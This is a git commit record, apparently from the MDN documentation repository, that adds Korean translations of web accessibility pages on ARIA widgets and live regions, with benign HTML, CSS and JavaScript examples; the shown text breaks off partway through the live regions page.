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authorPeter Bengtsson <mail@peterbe.com>2020-12-08 14:42:17 -0500
committerPeter Bengtsson <mail@peterbe.com>2020-12-08 14:42:17 -0500
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-rw-r--r--files/ko/web/svg/tutorial/시작하기/index.html94
-rw-r--r--files/ko/web/svg/tutorial/위치/index.html45
-rw-r--r--files/ko/web/tutorials/index.html186
-rw-r--r--files/ko/web/web_components/index.html223
-rw-r--r--files/ko/web/web_components/using_custom_elements/index.html248
-rw-r--r--files/ko/web/web_components/using_shadow_dom/index.html230
-rw-r--r--files/ko/web/xml/index.html17
-rw-r--r--files/ko/web/xml/xml_introduction/index.html33
-rw-r--r--files/ko/web/xpath/axes/ancestor-or-self/index.html7
-rw-r--r--files/ko/web/xpath/axes/ancestor/index.html7
-rw-r--r--files/ko/web/xpath/axes/attribute/index.html6
-rw-r--r--files/ko/web/xpath/axes/child/index.html6
-rw-r--r--files/ko/web/xpath/axes/descendant-or-self/index.html6
-rw-r--r--files/ko/web/xpath/axes/descendant/index.html6
-rw-r--r--files/ko/web/xpath/axes/following-sibling/index.html6
-rw-r--r--files/ko/web/xpath/axes/following/index.html6
-rw-r--r--files/ko/web/xpath/axes/index.html70
-rw-r--r--files/ko/web/xpath/axes/namespace/index.html10
-rw-r--r--files/ko/web/xpath/axes/parent/index.html6
-rw-r--r--files/ko/web/xpath/axes/preceding-sibling/index.html6
-rw-r--r--files/ko/web/xpath/axes/preceding/index.html6
-rw-r--r--files/ko/web/xpath/axes/self/index.html6
-rw-r--r--files/ko/web/xpath/functions/boolean/index.html39
-rw-r--r--files/ko/web/xpath/functions/ceiling/index.html41
-rw-r--r--files/ko/web/xpath/functions/concat/index.html29
-rw-r--r--files/ko/web/xpath/functions/contains/index.html47
-rw-r--r--files/ko/web/xpath/functions/count/index.html29
-rw-r--r--files/ko/web/xpath/functions/current/index.html61
-rw-r--r--files/ko/web/xpath/functions/document/index.html61
-rw-r--r--files/ko/web/xpath/functions/element-available/index.html29
-rw-r--r--files/ko/web/xpath/functions/false/index.html25
-rw-r--r--files/ko/web/xpath/functions/floor/index.html32
-rw-r--r--files/ko/web/xpath/functions/format-number/index.html49
-rw-r--r--files/ko/web/xpath/functions/function-available/index.html29
-rw-r--r--files/ko/web/xpath/functions/generate-id/index.html37
-rw-r--r--files/ko/web/xpath/functions/id/index.html46
-rw-r--r--files/ko/web/xpath/functions/index.html74
-rw-r--r--files/ko/web/xpath/functions/key/index.html43
-rw-r--r--files/ko/web/xpath/functions/lang/index.html55
-rw-r--r--files/ko/web/xpath/functions/last/index.html23
-rw-r--r--files/ko/web/xpath/functions/local-name/index.html33
-rw-r--r--files/ko/web/xpath/functions/name/index.html33
-rw-r--r--files/ko/web/xpath/functions/namespace-uri/index.html36
-rw-r--r--files/ko/web/xpath/functions/normalize-space/index.html29
-rw-r--r--files/ko/web/xpath/functions/not/index.html33
-rw-r--r--files/ko/web/xpath/functions/number/index.html35
-rw-r--r--files/ko/web/xpath/functions/position/index.html34
-rw-r--r--files/ko/web/xpath/functions/round/index.html35
-rw-r--r--files/ko/web/xpath/functions/starts-with/index.html42
-rw-r--r--files/ko/web/xpath/functions/string-length/index.html28
-rw-r--r--files/ko/web/xpath/functions/string/index.html42
-rw-r--r--files/ko/web/xpath/functions/substring-after/index.html49
-rw-r--r--files/ko/web/xpath/functions/substring-before/index.html49
-rw-r--r--files/ko/web/xpath/functions/substring/index.html55
-rw-r--r--files/ko/web/xpath/functions/sum/index.html39
-rw-r--r--files/ko/web/xpath/functions/system-property/index.html34
-rw-r--r--files/ko/web/xpath/functions/translate/index.html92
-rw-r--r--files/ko/web/xpath/functions/true/index.html19
-rw-r--r--files/ko/web/xpath/functions/unparsed-entity-url/index.html21
-rw-r--r--files/ko/web/xpath/index.html13
-rw-r--r--files/ko/web/xslt/apply-imports/index.html22
-rw-r--r--files/ko/web/xslt/apply-templates/index.html33
-rw-r--r--files/ko/web/xslt/attribute-set/index.html33
-rw-r--r--files/ko/web/xslt/attribute/index.html33
-rw-r--r--files/ko/web/xslt/call-template/index.html29
-rw-r--r--files/ko/web/xslt/choose/index.html24
-rw-r--r--files/ko/web/xslt/comment/index.html23
-rw-r--r--files/ko/web/xslt/copy-of/index.html26
-rw-r--r--files/ko/web/xslt/copy/index.html28
-rw-r--r--files/ko/web/xslt/decimal-format/index.html100
-rw-r--r--files/ko/web/xslt/element/element/index.html37
-rw-r--r--files/ko/web/xslt/element/index.html76
-rw-r--r--files/ko/web/xslt/fallback/index.html23
-rw-r--r--files/ko/web/xslt/for-each/index.html29
-rw-r--r--files/ko/web/xslt/if/index.html28
-rw-r--r--files/ko/web/xslt/import/index.html26
-rw-r--r--files/ko/web/xslt/include/index.html26
-rw-r--r--files/ko/web/xslt/index.html49
-rw-r--r--files/ko/web/xslt/key/index.html35
-rw-r--r--files/ko/web/xslt/message/index.html28
-rw-r--r--files/ko/web/xslt/namespace-alias/index.html30
-rw-r--r--files/ko/web/xslt/number/index.html173
-rw-r--r--files/ko/web/xslt/otherwise/index.html23
-rw-r--r--files/ko/web/xslt/output/index.html90
-rw-r--r--files/ko/web/xslt/param/index.html33
-rw-r--r--files/ko/web/xslt/preserve-space/index.html26
-rw-r--r--files/ko/web/xslt/processing-instruction/index.html26
-rw-r--r--files/ko/web/xslt/sort/index.html55
-rw-r--r--files/ko/web/xslt/strip-space/index.html26
-rw-r--r--files/ko/web/xslt/stylesheet/index.html52
-rw-r--r--files/ko/web/xslt/template/index.html51
-rw-r--r--files/ko/web/xslt/text/index.html28
-rw-r--r--files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/index.html17
-rw-r--r--files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/introduction/index.html10
-rw-r--r--files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/setting_parameters/index.html23
-rw-r--r--files/ko/web/xslt/transform/index.html11
-rw-r--r--files/ko/web/xslt/transforming_xml_with_xslt/index.html107
-rw-r--r--files/ko/web/xslt/transforming_xml_with_xslt/the_netscape_xslt_xpath_reference/index.html380
-rw-r--r--files/ko/web/xslt/using_the_mozilla_javascript_interface_to_xsl_transformations/index.html60
-rw-r--r--files/ko/web/xslt/value-of/index.html31
-rw-r--r--files/ko/web/xslt/variable/index.html33
-rw-r--r--files/ko/web/xslt/when/index.html28
-rw-r--r--files/ko/web/xslt/with-param/index.html33
-rw-r--r--files/ko/web/참조/api/index.html65
-rw-r--r--files/ko/web/참조/index.html30
2011 files changed, 281154 insertions, 0 deletions
diff --git a/files/ko/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.html b/files/ko/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.html
new file mode 100644
index 0000000000..8c53f2148f
--- /dev/null
+++ b/files/ko/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.html
@@ -0,0 +1,222 @@
+---
+title: An overview of accessible web applications and widgets
+slug: Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets
+translation_of: Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets
+---
+<p>웹은 변화하고 있습니다. 페이지 중심의 정적이던 사이트들은 동적으로 변화하고 있고, 데스크톱 웹 어플리케이션들이 JS와 AJAX를 중점으로 사용하며 제작되고 있습니다. 디자이너들은 새로운 위젯들과 컨트롤을 한결같이 JavaScript, HTML, CSS를 조합해서 만들고 있습니다. 이런 변화는 사용성과 반응형 향상에는 극적으로 도움을 주지만, 또 다른 많은 유저들은 접근성 격차로 인해 제약이 발생하는 리스크도 안고 있습니다. JavaScript는 스크린리더 같은 보조기술을 사용하는 유저들이 접근하기 힘들다고 알려져 있었습니다. 하지만 현재는 다양한 사용자가 접근할 수 있는 동적 웹 어플리케이션을 만들 수 있습니다.</p>
+
+<h2 id="문제">문제</h2>
+
+<p>대부분의 자바스크립트 개발도구는 데스크톱 인터페이스의 동작을 유사하게 만들 수 있도록 클라이언트-사이드 위젯 라이브러리를 제공하고 있습니다. Slider, Menu bar, Filelist View 등을 JavaScript, CSS, HTML을 이용해서 만들 수  있습니다. HTML4 명세가 나왔을 때는 HTML 태그에서 이런 위젯들의 설명이 제공되지 않았으며, 개발자들은 보통 &lt;div&gt;나 &lt;span&gt;같은 것들을 활용하여 개발하였습니다. 이런 시대의 결과로 데스크톱 위젯들은 충분한 정보를 제공하지 못하였으며 이는 기술적으로 전혀 도움이 되지 않았습니다. 동적 콘텐츠는 이유가 어떻든 스크린을 보지 못하는 사람에게 문제가 되었습니다. 주식 시세 표시 위젯, 트위터 라이브 피드 갱신, 프로그레스바 같은 것들을 보조공학기술(AT)로 인식하지 못하는 경우가 많았습니다. <a href="/en/ARIA" style="line-height: 1.5;" title="ARIA">ARIA</a><span style="line-height: 1.5;">가 필요한 이유가 여기에 있습니다. </span></p>
+
+<p><em>Example 1: 탭 위젯을 ARIA 레이블링 없이 만든 마크업. 마크업에서 위젯의 폼과 동작에 대해 설명하고 있지 않습니다.</em></p>
+
+<pre class="brush: html"><code>&lt;!-- 탭 위젯을 위한 코드입니다. 어떻습니까? 마크업만 보고서 가늠이 되나요? --&gt;
+&lt;ol&gt;
+  &lt;li id="ch1Tab"&gt;
+    &lt;a href="#ch1Panel"&gt;Chapter 1&lt;/a&gt;
+  &lt;/li&gt;
+  &lt;li id="ch2Tab"&gt;
+    &lt;a href="#ch2Panel"&gt;Chapter 2&lt;/a&gt;
+  &lt;/li&gt;
+  &lt;li id="quizTab"&gt;
+    &lt;a href="#quizPanel"&gt;Quiz&lt;/a&gt;
+  &lt;/li&gt;
+&lt;/ol&gt;
+
+&lt;div&gt;
+  &lt;div id="ch1Panel"&gt;Chapter 1 content goes here&lt;/div&gt;
+  &lt;div id="ch2Panel"&gt;Chapter 2 content goes here&lt;/div&gt;
+  &lt;div id="quizPanel"&gt;Quiz content goes here&lt;/div&gt;
+&lt;/div&gt;</code></pre>
+
+<p><em>Example 2: 탭 위젯의 렌더링 화면. 유저는 비주얼로 확인 가능하지만, 보조기술과 같은 기계들은 읽지 못합니다.</em><br>
+ <img alt="Screenshot of the tabs widget" class="default internal" src="/@api/deki/files/4926/=Tabs_Widget.png"></p>
+
+<h2 id="ARIA">ARIA</h2>
+
+<p><strong style="line-height: 1.5;">Accessible Rich Internet Applications(</strong><a class="external" href="http://www.w3.org/WAI/intro/aria.php" title="http://www.w3.org/WAI/intro/aria.php">WAI-ARIA</a>)는 W3C의 <a class="external" href="http://www.w3.org/WAI/" title="http://www.w3.org/WAI/">Web Accessibility Initiative</a>에서 제작하고, 스크린리더 같은 보조기기에서 필요한 정보들을 추가하는 방법을 제공합니다. ARIA는 마크업에서 특별한 속성을 추가하여 개발자들이 위젯의 디테일한 정보를 제공할 때 사용합니다. 동적 웹 어플리케이션에서 찾을 수 있는 데스크톱 스타일 콘트롤과 표준 HTML 태그 사이에 있는 차이를 채우기 위해, ARIA는 친숙한 UI 위젯의 동작 상태(state)와 역할(Role)에 대한 설명을 제공합니다.</p>
+
+<p>ARIA는 다른 타입의 속성 세개 roles, states, properties를 분할하여 정의하고 있습니다. Roles는 slider, menu bar, dialog와 같은 HTML4에서 사용하지 못하는 위젯을 설명합니다. Properties는 드래그가 가능하다는 것이나, 요소가 필요하다는 것이나, 팝업이 뜨는 것과 같은 위젯의 특징에 대해 설명합니다. State는 요소의 현재 상태에 대해 설명합니다. 이 정보는 보조기기에서 요소의 접근이 불가하거나, 숨겨져 있는 상태라는 것을 명시합니다.</p>
+
+<p><span style="line-height: 1.5;">ARIA attributes are designed to be interpreted automatically by the browser and translated to the operating system's native accessibility APIs. When ARIA is present, assistive technologies are able to recognize and interact with custom JavaScript controls in the same way that they do with desktop equivalents. This has the potential for providing a much more consistent user experience than was possible in the previous generation of web applications, since assistive technology users can apply all of their knowledge of how desktop applications work when they are using web-based applications.</span></p>
+
+<p><em>Example 3: Markup for the tabs widget with ARIA attributes added.</em></p>
+
+<pre class="brush: html"><code>&lt;!-- Now *these* are Tabs! --&gt;</code>
+<code>&lt;!-- We've added role attributes to describe the tab list and each tab. --&gt;</code>
+<code>&lt;ol role="tablist"&gt;</code>
+<code>  &lt;li id="ch1Tab" <span style="color: #ff0000;">role="tab"</span>&gt;
+    &lt;a href="#ch1Panel"&gt;Chapter 1&lt;/a&gt;
+  &lt;/li&gt;
+  &lt;li id="ch2Tab" <span style="color: #ff0000;">role="tab"</span>&gt;
+    &lt;a href="#ch2Panel"&gt;Chapter 2&lt;/a&gt;
+  &lt;/li&gt;
+  &lt;li id="quizTab" <span style="color: #ff0000;">role="tab"</span>&gt;
+    &lt;a href="#quizPanel"&gt;Quiz&lt;/a&gt;
+  &lt;/li&gt;
+&lt;/ol&gt;
+
+&lt;div&gt;
+  &lt;!-- Notice the role and aria-labelledby attributes we've added to describe these panels. --&gt;
+  &lt;div id="ch1Panel" <span style="color: #ff0000;">role=”tabpanel” aria-labelledby="ch1Tab"</span>&gt;Chapter 1 content goes here&lt;/div&gt;
+  &lt;div id="ch2Panel" <span style="color: #ff0000;">role=”tabpanel” aria-labelledby="ch2Tab"</span>&gt;Chapter 2 content goes here&lt;/div&gt;
+  &lt;div id="quizPanel" <span style="color: #ff0000;">role=”tabpanel” aria-labelledby="quizTab"</span>&gt;Quiz content goes here&lt;/div&gt;
+&lt;/div&gt;</code>
+</pre>
+
+<p>ARIA는 Firefox, Safari, Opera, Chrome 및 Internet Explorer를 포함한 모든 주요 브라우저의 최신 버전에서 지원됩니다. 오픈 소스 NVDA(NonVisual Desktop Access) 및 Orca 스크린 리더와 같은 많은 보조 기술도 ARIA를 지원합니다. 점차적으로 jQuery UI, YUI, Google Closure, Dojo Dijit과 같은 JavaScript 위젯 라이브러리에 ARIA 마크 업도 포함됩니다.</p>
+
+<h3 id="Presentational_changes">Presentational changes</h3>
+
+<p>Dynamic presentational changes include using CSS to change the appearance of content (such as a red border around invalid data, or changing the background colour of a checked checkbox), as well as showing or hiding content.</p>
+
+<h4 id="State_changes">State changes</h4>
+
+<p>ARIA provides attributes for declaring the current state of a UI widget. Examples include (but are certainly not limited to):</p>
+
+<ul>
+ <li><strong>aria-checked</strong>: indicates the state of a checkbox or radio button</li>
+ <li><strong>aria-disabled</strong>: indicates that an element is visible, but not editable or otherwise operable</li>
+ <li><strong>aria-grabbed</strong>: indicates the 'grabbed' state of an object in a drag-and-drop operation</li>
+</ul>
+
+<p>(For a full list of ARIA states, consult the <a class="external" href="http://www.w3.org/TR/wai-aria/states_and_properties" title="http://www.w3.org/TR/wai-aria/states_and_properties">ARIA list of states and properties</a>.)</p>
+
+<p>Developers should use ARIA states to indicate the state of UI widget elements and use CSS attribute selectors to alter the visual appearance based on the state changes (rather than using script to change a class name on the element).</p>
+
+<p>The Open Ajax Alliance website provides <a class="external" href="http://www.oaa-accessibility.org/example/25/" title="http://www.oaa-accessibility.org/example/25/">an example of CSS attribute selectors based on ARIA states</a>. The example shows a WYSIWYG editor interface with a dynamic menu system. Items currently selected in a menu, such as the font face, are visually distinguished from other items. The relevant parts of the example are explained below.</p>
+
+<p>In this example, the HTML for a menu has the form shown in Example 1a. Note how, on lines 7 and 13, the <strong>aria-checked</strong> property is used to declare the selection state of the menu items.</p>
+
+<p><em>Example 1a. HTML for a selectable menu (adapted from <a class="external" href="http://www.oaa-accessibility.org/example/25/" rel="freelink">http://www.oaa-accessibility.org/example/25/</a>).</em></p>
+
+<pre class="deki-transform">&lt;ul id="fontMenu" class="menu" role="menu" aria-hidden="true"&gt;
+ &lt;li id="sans-serif"
+ class="menu-item"
+ role="menuitemradio"
+ tabindex="-1"
+ aria-controls="st1"
+ aria-checked="true"&gt;Sans-serif&lt;/li&gt;
+ &lt;li id="serif"
+ class="menu-item"
+ role="menuitemradio"
+ tabindex="-1"
+ aria-controls="st1"
+ aria-checked="false"&gt;Serif&lt;/li&gt;
+ ...
+</pre>
+
+<p>The CSS that is used to alter the visual appearance of the selected item is shown in Example 1b. Note that there is no custom classname used, only the status of the <strong>aria-checked</strong> attribute on line 1.</p>
+
+<p><em>Example 1b. Attribute-based selector for indicating state <em>(from <a class="external" href="http://www.oaa-accessibility.org/example/25/" rel="freelink">http://www.oaa-accessibility.org/example/25/</a>).</em></em></p>
+
+<pre class="deki-transform">li[aria-checked="true"] {
+ font-weight: bold;
+ background-image: url('images/dot.png');
+ background-repeat: no-repeat;
+ background-position: 5px 10px;
+}
+</pre>
+
+<p>The JavaScript to update the <strong>aria-checked</strong> property has the form shown in Example 1c. Note that the script only updates the <strong>aria-checked</strong> attribute (lines 3 and 8); it does not need to also add or remove a custom classname.</p>
+
+<p><em>Example 1c. JavaScript to update the aria-checked attribute </em><em> <em>(based on <a class="external" href="http://www.oaa-accessibility.org/example/25/" rel="freelink">http://www.oaa-accessibility.org/example/25/</a>)</em></em><em><em><em>.</em></em></em></p>
+
+<pre class="deki-transform">var processMenuChoice = function(item) {
+ // 'check' the selected item
+ item.setAttribute('aria-checked', 'true');
+ // 'un-check' the other menu items
+ var sib = item.parentNode.firstChild;
+ for (; sib; sib = sib.nextSibling ) {
+ if ( sib.nodeType === 1 &amp;&amp; sib !== item ) {
+ sib.setAttribute('aria-checked', 'false');
+ }
+ }
+};
+</pre>
+
+<h4 id="Visibility_changes">Visibility changes</h4>
+
+<p>When content visibility is changed (i.e. an element is hidden or shown), developers should change the <strong>aria-hidden</strong> property value. The techniques described above should be used to declare CSS to visually hide an element using <code>display:none</code>.</p>
+
+<p>The Open Ajax Alliance website provides <a class="external" href="http://www.oaa-accessibility.org/example/39/" title="http://www.oaa-accessibility.org/example/39/">an example of a tooltip that uses <strong>aria-hidden</strong> to control the visibility of the tooltip</a>. The example shows a simple web form with tooltips containing instructions associated with the entry fields. The relevant parts of the example are explained below.</p>
+
+<p>In this example, the HTML for the tooltip has the form shown in Example 2a. Line 9 sets the <strong>aria-hidden</strong> state to <code>true</code>.</p>
+
+<p><em>Example 2a. HTML for a tooltip (adapted from <a class="external" href="http://www.oaa-accessibility.org/example/39/" rel="freelink">http://www.oaa-accessibility.org/example/39/</a>).</em></p>
+
+<pre class="deki-transform">&lt;div class="text"&gt;
+ &lt;label id="tp1-label" for="first"&gt;First Name:&lt;/label&gt;
+ &lt;input type="text" id="first" name="first" size="20"
+ aria-labelledby="tp1-label"
+ aria-describedby="tp1"
+ aria-required="false" /&gt;
+ &lt;div id="tp1" class="tooltip"
+ role="tooltip"
+ aria-hidden="true"&gt;Your first name is a optional&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>The CSS for this markup is shown in Example 2b. Note that there is no custom classname used, only the status of the <strong>aria-hidden</strong> attribute on line 1.</p>
+
+<p>Example 2b. <em>Attribute-based selector for indicating state <em>(from <a class="external" href="http://www.oaa-accessibility.org/example/39/" rel="freelink">http://www.oaa-accessibility.org/example/39/</a>).</em></em></p>
+
+<pre class="deki-transform">div.tooltip[aria-hidden="true"] {
+ display: none;
+}
+</pre>
+
+<p>The JavaScript to update the <strong>aria-hidden</strong> property has the form shown in Example 2c. Note that the script only updates the <strong>aria-</strong><strong>hidden</strong> attribute (line 2); it does not need to also add or remove a custom classname.</p>
+
+<p><em>Example 2c. JavaScript to update the aria-checked attribute </em><em> <em>(based on <a class="external" href="http://www.oaa-accessibility.org/example/39/" rel="freelink">http://www.oaa-accessibility.org/example/39/</a>)</em></em><em><em><em>.</em></em></em></p>
+
+<pre class="deki-transform">var showTip = function(el) {
+ el.setAttribute('aria-hidden', 'false');
+}</pre>
+
+<h3 id="Role_changes">Role changes</h3>
+
+<div class="note">Under construction</div>
+
+<p>ARIA allows developers to declare a semantic role for an element that otherwise offers incorrect or no semantics. For example, when an unordered list is used to create a menu, the {{ HTMLElement("ul") }} should be given a <strong>role</strong> of <code>menubar</code> and each {{ HTMLElement("li") }} should be given a <strong>role</strong> of <code>menuitem</code>.</p>
+
+<p>The <strong>role</strong> of an element should not change. Instead, remove the original element and replace it with an element with the new <strong>role</strong>.</p>
+
+<p>For example, consider an "inline edit" widget: a component that allows users to edit a piece of text in place, without switching contexts. This component has a "view" mode, in which the text is not editable, but is activatable, and an "edit" mode, in which the text can be edited. A developer might be tempted to implement the "view" mode using a read-only text  {{ HTMLElement("input") }} element and setting its ARIA <strong>role</strong> to <code>button</code>, then switching to "edit" mode by making the element writable and removing the <strong>role</strong> attribute in "edit" mode (since {{ HTMLElement("input") }} elements have their own role semantics).</p>
+
+<p>Do not do this. Instead, implement the "view" mode using a different element altogether, such as a {{ HTMLElement("div") }} or {{ HTMLElement("span") }} with a <strong>role</strong> of <code>button</code>, and the "edit" mode using a text  {{ HTMLElement("input") }} element.</p>
+
+<h3 id="Asynchronous_content_changes">Asynchronous content changes</h3>
+
+<div class="note">Under construction. See also <a href="/en/ARIA/Live_Regions" title="Live Regions">Live Regions</a></div>
+
+<h2 id="Keyboard_navigation">Keyboard navigation</h2>
+
+<p>Often times developers overlook support for the keyboard when they create custom widgets. To be accessible to a variety of users, all features of a web application or widget should also be controllable with the keyboard, without requiring a mouse. In practice, this usually involves following the conventions supported by similar widgets on the desktop, taking full advantage of the Tab, Enter, Spacebar, and arrow keys.</p>
+
+<p>Traditionally, keyboard navigation on the web has been limited to the Tab key. A user presses Tab to focus each link, button, or form on the page in a linear order, using Shift-Tab to navigate backwards. It's a one-dimensional form of navigation—forward and back, one element at a time. On fairly dense pages, a keyboard-only user often has to press the Tab key dozens of times before they can access the section they need. Implementing desktop-style keyboard conventions on the web has the potential to significantly speed up navigation for many users.</p>
+
+<p>Here's a summary of how keyboard navigation should work in an ARIA-enabled web application:</p>
+
+<ul>
+ <li>The Tab key should provide focus to the widget as a whole. For example, tabbing to a menu bar should put focus on the menu's first elem</li>
+ <li>The arrow keys should allow for selection or navigation within the widget. For example, using the left and right arrow keys should move focus to the previous and next menu items</li>
+ <li>When the widget is not inside a form, both the Enter and Spacebar keys should select or activate the control</li>
+ <li>Within a form, the Spacebar key should select or activate the control, while the Enter key should submit the form's default action.</li>
+ <li>If in doubt, mimic the standard desktop behavior of the control you are creating.</li>
+</ul>
+
+<p>So, for the Tabs widget example above, the user should be able to navigate into and out of the widget's container (the &lt;ol&gt; in our markup) using the Tab and Shift-Tab keys. Once keyboard focus is inside the container, the arrow keys should allow the user to navigate between each tab (the &lt;li&gt; elements). From here, conventions vary from platform to platform. On Windows, the next tab should automatically be activated when the user presses the arrow keys. On Mac OS X, the user can press either Enter or the Spacebar to activate the next tab. An in-depth tutorial for creating <a href="/en/Accessibility/Keyboard-navigable_JavaScript_widgets" title="en/Accessibility/Keyboard-navigable JavaScript widgets">Keyboard-navigable JavaScript widgets</a> describes how to implement this behavior with JavaScript.</p>
+
+<p>For more detail about desktop-style keyboard navigation conventions, a comprehensive <a class="external" href="http://dev.aol.com/dhtml_style_guide" title="http://dev.aol.com/dhtml_style_guide">DHTML style guide</a> is available. It provides an overview of how keyboard navigation should work for each type of widget supported by ARIA. The W3C also offers a helpful <a class="external" href="http://www.w3.org/WAI/PF/aria-practices/Overview.html" title="http://www.w3.org/WAI/PF/aria-practices/Overview.html">ARIA Best Practices</a> document that includes keyboard navigation and shortcut conventions for a variety of widgets. </p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en/ARIA" title="ARIA">ARIA</a></li>
+ <li><a href="/en/Accessibility/Web_applications_and_ARIA_FAQ" title="Web applications and ARIA FAQ">Web applications and ARIA FAQ</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/wai-aria/" title="http://www.w3.org/TR/wai-aria/">WAI-ARIA Specification</a></li>
+ <li><a class="external" href="http://www.w3.org/WAI/PF/aria-practices/Overview.html" title="http://www.w3.org/WAI/PF/aria-practices/Overview.html">WAI-ARIA Best Practices</a></li>
+ <li><a class="external" href="http://dev.aol.com/dhtml_style_guide" title="http://dev.aol.com/dhtml_style_guide">DHTML Style Guide</a></li>
+</ul>
diff --git a/files/ko/web/accessibility/aria/aria_live_regions/index.html b/files/ko/web/accessibility/aria/aria_live_regions/index.html
new file mode 100644
index 0000000000..c609e9698f
--- /dev/null
+++ b/files/ko/web/accessibility/aria/aria_live_regions/index.html
@@ -0,0 +1,255 @@
+---
+title: ARIA live regions
+slug: Web/Accessibility/ARIA/ARIA_Live_Regions
+translation_of: Web/Accessibility/ARIA/ARIA_Live_Regions
+---
+<p>JavaScript를 이용하면, 전체 페이지를 다시 로드할 필요 없이 페이지의 일부를 동적으로 변경하는 것이 가능합니다. 예를 들면, 검색 결과 리스트를 즉시 업데이트 하거나, 사용자 상호 작용이 필요 없는 경고 또는 알림을 표시합니다. 이러한 변경사항들은 일반적으로 페이지를 볼 수 있는 사용자에게 시각적으로 분명하게 보이지만, 보조과학기술 사용자들에겐 분명하지 않을 수 있습니다. ARIA live regions은 이 간격을 메우고, 보조과학기술에 의해 발표될 수 있는 방식으로 동적 컨텐츠 변화들을 프로그래밍 방식으로 노출할 수 있는 방법을 제공합니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 보조과학기술은 live region 컨텐츠에 <em>동적인  </em>변화를 발표할 것입니다.</p>
+
+<p>Including an <code>aria-live</code> attribute or a specialized live region <code>role</code> (such as <code>role="alert"</code>) on the element you want to announce changes to works as long as you add the attribute before the changes occur — either in the original markup, or dynamically using JavaScript.</p>
+</div>
+
+<h2 id="간단한_live_regions"><span class="mw-headline" id="Live_Region_State">간단한 live regions</span></h2>
+
+<p>페이지를 재로드 없이 업데이트 되는 동적 컨텐츠는 일반적으로 영역 또는 위젯입니다. 대화형 컨텐츠가 아닌 단순 컨텐츠 변경은 live regions 으로 표시해야만 합니다. 아래는 관련 ARIA live region 속성에 관한 리스트와 설명입니다.</p>
+
+<ol>
+ <li><code><strong>aria-live</strong></code>: <code>aria-live=POLITENESS_SETTING</code>는 스크린 리더가 live regions에 대한 업데이트를 처리할때 우선 순위를 설정하는 데 사용되며, 가능한 세팅으로 <code>off</code>, <code>polite<font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">, </span></font></code><code>assertive</code>가 있습니다. 기본 설정은 <code>off</code>입니다. 이 속성은 단연코 가장 중요합니다.</li>
+ <li>
+ <p class="comment"><code><strong>aria-controls</strong></code>: The <code>aria-controls=[IDLIST]</code> is used to associate a control with the regions that it controls. Regions are identified just like an <code>id</code> in a <code>div</code>, and multiple regions can be associated with a control using a space, e.g. <code>aria-controls="myRegionID1 myRegionsID2"</code>.</p>
+
+ <div class="warning">Not known if the aria-controls aspect of live regions is implemented in current ATs, or which. Needs research.</div>
+ </li>
+</ol>
+
+<p>Normally, only <code>aria-live="polite"</code> is used. Any region which receives updates that are important for the user to receive, but not so rapid as to be annoying, should receive this attribute. The screen reader will speak changes whenever the user is idle.</p>
+
+<p>For regions which are not important, or would be annoying because of rapid updates or other reasons, silence them with <code>aria-live="off"</code>.</p>
+
+<h3 id="Dropdown_box_updates_useful_onscreen_information">Dropdown box updates useful onscreen information</h3>
+
+<p>A website specializing in providing information about planets provides a dropdown box. When a planet is selected from the dropdown, a region on the page is updated with information about the selected planet.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;fieldset&gt;
+  &lt;legend&gt;Planet information&lt;/legend&gt;
+  &lt;label for="planetsSelect"&gt;Planet:&lt;/label&gt;
+  &lt;select id="planetsSelect" aria-controls="planetInfo"&gt;
+    &lt;option value=""&gt;Select a planet&amp;hellip;&lt;/option&gt;
+    &lt;option value="mercury"&gt;Mercury&lt;/option&gt;
+    &lt;option value="venus"&gt;Venus&lt;/option&gt;
+    &lt;option value="earth"&gt;Earth&lt;/option&gt;
+    &lt;option value="mars"&gt;Mars&lt;/option&gt;
+  &lt;/select&gt;
+ &lt;button id="renderPlanetInfoButton"&gt;Go&lt;/button&gt;
+&lt;/fieldset&gt;
+
+&lt;div role="region" id="planetInfo" aria-live="polite"&gt;
+  &lt;h2 id="planetTitle"&gt;No planet selected&lt;/h2&gt;
+  &lt;p id="planetDescription"&gt;Select a planet to view its description&lt;/p&gt;
+&lt;/div&gt;
+
+&lt;p&gt;&lt;small&gt;Information courtesy &lt;a href="https://en.wikipedia.org/wiki/Solar_System#Inner_Solar_System"&gt;Wikipedia&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js notranslate">const PLANETS_INFO = {
+  mercury: {
+    title: 'Mercury',
+    description: 'Mercury is the smallest and innermost planet in the Solar System. It is named after the Roman deity Mercury, the messenger to the gods.'
+  },
+
+  venus: {
+    title: "Venus",
+    description: 'Venus is the second planet from the Sun. It is named after the Roman goddess of love and beauty.'
+  },
+
+  earth: {
+    title: "Earth",
+    description: 'Earth is the third planet from the Sun and the only object in the Universe known to harbor life.'
+  },
+
+  mars: {
+    title: "Mars",
+    description: 'Mars is the fourth planet from the Sun and the second-smallest planet in the Solar System after Mercury. In English, Mars carries a name of the Roman god of war, and is often referred to as the "Red Planet".'
+  }
+};
+
+function renderPlanetInfo(planet) {
+  const planetTitle = document.querySelector('#planetTitle');
+  const planetDescription = document.querySelector('#planetDescription');
+
+  if (planet in PLANETS_INFO) {
+    planetTitle.textContent = PLANETS_INFO[planet].title;
+    planetDescription.textContent = PLANETS_INFO[planet].description;
+  } else {
+    planetTitle.textContent = 'No planet selected';
+    planetDescription.textContent = 'Select a planet to view its description';
+  }
+}
+
+const renderPlanetInfoButton = document.querySelector('#renderPlanetInfoButton');
+
+renderPlanetInfoButton.addEventListener('click', event =&gt; {
+  const planetsSelect = document.querySelector('#planetsSelect');
+  const selectedPlanet = planetsSelect.options[planetsSelect.selectedIndex].value;
+
+  renderPlanetInfo(selectedPlanet);
+});
+</pre>
+
+<p>{{EmbedLiveSample('Dropdown_box_updates_useful_onscreen_information', '', 350)}}</p>
+
